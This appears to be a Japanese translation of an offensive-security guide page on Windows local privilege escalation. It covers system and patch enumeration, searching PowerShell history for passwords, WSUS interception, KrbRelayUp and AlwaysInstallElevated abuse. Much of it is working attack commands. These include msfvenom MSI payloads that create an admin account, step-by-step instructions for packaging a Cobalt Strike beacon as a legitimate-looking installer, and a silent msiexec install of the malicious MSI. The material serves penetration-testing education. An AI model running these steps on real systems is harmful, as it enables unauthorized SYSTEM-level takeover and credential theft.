システム情報とインストーラーの調査
OS のバージョンやパッチ、インストーラー設定は、ローカルで使える権限昇格経路を絞る手がかりになります。まず現在の状態を確認し、その結果から必要な項目を詳しく調べます。
システム情報
Section titled “システム情報”バージョンとパッチの確認
Section titled “バージョンとパッチの確認”Windows バージョンに既知の脆弱性(known vulnerability)がないか確認します(適用済みパッチも確認)。
systeminfosysteminfo | findstr /B /C:"OS Name" /C:"OS Version" # その情報だけ取得wmic qfe get Caption,Description,HotFixID,InstalledOn # パッチwmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% # システムアーキテクチャ取得[System.Environment]::OSVersion.Version # 現在の OS バージョンGet-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} # すべてのパッチを列挙Get-Hotfix -description "Security update" # "Security Update" パッチのみバージョンに依存する脆弱性
Section titled “バージョンに依存する脆弱性”Microsoft Security Update Guide で、OS のバージョンや適用済みパッチに関係する脆弱性を調べます。
システム上で
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas は watson を内包)
システム情報を使ってローカルで
エクスプロイトの GitHub リポジトリ:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
環境変数に資格情報や接続先などが含まれていないか確認します。
setdir env:Get-ChildItem Env: | ft Key,Value -AutoSizePowerShell の履歴
Section titled “PowerShell の履歴”ConsoleHost_history # 保存パスを探す
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtcat (Get-PSReadlineOption).HistorySavePathcat (Get-PSReadlineOption).HistorySavePath | sls passwPowerShell のトランスクリプト
Section titled “PowerShell のトランスクリプト”有効化(turn this on)方法は https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ を参照してください。
# レジストリで有効化を確認reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcriptionreg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcriptionreg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcriptionreg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcriptiondir C:\Transcripts
# トランスクリプト セッション開始Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobberStop-TranscriptPowerShell モジュールログ
Section titled “PowerShell モジュールログ”PowerShell のパイプライン実行の詳細が記録されます。実行されたコマンド、コマンド呼び出し、スクリプトの一部が対象です。ただし、完全な実行詳細や出力結果が記録されない場合があります。
有効化するには、ドキュメントの「Transcript files」セクションの手順に従い、“Powershell Transcription” ではなく “Module Logging” を選択します。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLoggingreg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLoggingreg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLoggingreg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLoggingPowerShell ログの直近 15 件を見るには次を実行します。
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridViewPowerShell スクリプトブロックログ
Section titled “PowerShell スクリプトブロックログ”スクリプト実行時の完全なアクティビティと内容が記録され、コードの各ブロックが実行に合わせて記録されます。これは包括的な監査証跡(audit trail)として機能し、フォレンジック(forensics)や悪意ある挙動の分析に有用です。実行時点の活動が記録されるため、プロセスの詳細な洞察が得られます。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingreg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingreg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingreg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingScript Block のログは Windows Event Viewer の Application and Services Logs > Microsoft > Windows > PowerShell > Operational にあります。
直近 20 件を見るには次を使います。
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridviewインターネット設定
Section titled “インターネット設定”reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"wmic logicaldisk get caption || fsutil fsinfo driveswmic logicaldisk get caption,description,providernameGet-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root更新が httpS ではなく http で取得されている場合、システムを侵害できる可能性があります。
まず、ネットワークが非 SSL の WSUS 更新を使っているかを、次の cmd で確認します。
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServerPowerShell では次の通りです。
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"以下のような応答が得られた場合:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535WUServer : http://xxxx-updxx.corp.internal.com:8530PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdatePSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windowsPSChildName : windowsupdatePSDrive : HKLMPSProvider : Microsoft.PowerShell.Core\Registryさらに HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer または Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" が 1 に等しい場合、
悪用可能(exploitable)です。 最後のレジストリ値が 0 の場合、WSUS エントリは無視されます。
この脆弱性の悪用には Wsuxploit、pyWSUS などのツールを使えます。これらは非 SSL WSUS 通信に「偽(fake)」アップデートを注入する MiTM(Man-in-the-Middle)武器化エクスプロイト スクリプトです。
研究資料はこちら:
CTX_WSUSpect_White_Paper (1).pdf
WSUS CVE-2020-1013
完全なレポートはこちら。
基本的には、このバグが悪用する欠陥は以下です:
ローカルユーザーのプロキシを変更でき、Windows Updates が Internet Explorer の設定で構成されたプロキシを使っている場合、ローカルで PyWSUS を実行して自分の通信を傍受し、資産上で昇格ユーザーとしてコード実行できます。
さらに、WSUS サービスは現在のユーザー設定を使うため、証明書ストアも使用します。WSUS のホスト名に対する自己署名証明書(self-signed certificate)を生成し、現在のユーザーの証明書ストアへ追加すれば、HTTP と HTTPS の WSUS 通信を両方とも傍受できます。WSUS は、証明書の trust-on-first-use 型検証を実装する HSTS のような仕組みを持ちません。提示された証明書がユーザーに信頼され、正しいホスト名であれば、サービスは受け入れます。
この脆弱性は WSUSpicious(公開され次第)で悪用できます。
サードパーティ製更新ツールとエージェントの IPC
Section titled “サードパーティ製更新ツールとエージェントの IPC”多くのエンタープライズ エージェントは、localhost の IPC サーフェスと特権アップデート チャネルを公開します。登録(enrollment)を攻撃者サーバーに誘導でき、アップデータが不正な root CA を信頼する、または署名検証が弱い場合、ローカルユーザーは悪意のある MSI を配布し、SYSTEM サービスにインストールさせられます。一般化された手法(Netskope stAgentSvc チェーン – CVE-2025-0309 に基づく)はこちら:
KrbRelayUp
Section titled “KrbRelayUp”特定条件下の Windows **ドメイン(domain)**環境では、ローカル特権昇格(local privilege escalation)の脆弱性が存在します。条件には、LDAP 署名が強制されていないこと、ユーザーが Resource-Based Constrained Delegation(RBCD) を設定できる self-rights を持つこと、ドメイン内でユーザーがコンピュータを作成できることが含まれます。これらの要件は既定設定(default settings)で満たされる点に注意してください。
exploit は https://github.com/Dec0ne/KrbRelayUp にあります。
攻撃フローの詳細は https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ を参照してください。
AlwaysInstallElevated
Section titled “AlwaysInstallElevated”これら 2 つのレジストリ(registers)が有効(値が 0x1)であれば、どの権限レベルのユーザーでも *.msi ファイルを NT AUTHORITY\SYSTEM として**インストール(実行)**できます。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedMetasploit のペイロード
Section titled “Metasploit のペイロード”msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi # No UAC 形式msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi # msiexec を使うため UAC は表示されないmeterpreter セッションがある場合は、モジュール exploit/windows/local/always_install_elevated を使って自動化できます。
PowerUP
Section titled “PowerUP”power-up の Write-UserAddMSI コマンドを使うと、カレントディレクトリに権限昇格用の Windows MSI バイナリを作成できます。このスクリプトはユーザー/グループ追加を促す事前コンパイル済み MSI インストーラを書き出します(GUI access が必要)。
Write-UserAddMSI作成されたバイナリを実行するだけで権限昇格できます。
MSI Wrapper
Section titled “MSI Wrapper”このツールを使って MSI ラッパー(MSI wrapper)を作成する方法は次のチュートリアルを参照してください。コマンドラインを実行したいだけであれば、“.bat” ファイルをラップできます。
WiX で MSI を作成する
Section titled “WiX で MSI を作成する”Visual Studio で MSI を作成する
Section titled “Visual Studio で MSI を作成する”- Cobalt Strike または Metasploit で 新しい Windows EXE TCP ペイロードを
C:\privesc\beacon.exeに生成する。 - Visual Studio を開き、Create a new project を選び、検索ボックスに “installer” と入力。Setup Wizard プロジェクトを選択して Next。
- プロジェクト名を AlwaysPrivesc などにし、場所を
C:\privescに指定し、place solution and project in the same directory を選択して Create。 - Next を押し続けて 4 ステップ中 3 つ目(含めるファイル選択)に到達したら、Add をクリックし、先ほど生成した Beacon ペイロードを選択。次に Finish。
- Solution Explorer で AlwaysPrivesc プロジェクトを選択し、Properties で TargetPlatform を x86 から x64 に変更。
- Author や Manufacturer など、インストールされるアプリをより正当(legitimate)に見せるためのプロパティも変更可能。
- プロジェクトを右クリックして View > Custom Actions。
- Install を右クリックし Add Custom Action。
- Application Folder をダブルクリックし、beacon.exe を選択して OK。これでインストーラ実行直後にペイロードが実行されます。
- Custom Action Properties で Run64Bit を True に変更。
- 最後に build する。
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'という警告が出た場合、プラットフォームを x64 に設定してください。
MSI をインストールする
Section titled “MSI をインストールする”悪意のある .msi ファイルをバックグラウンドでインストールするには次の通りです:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msiこの脆弱性は exploit/windows/local/always_install_elevated で悪用できます。

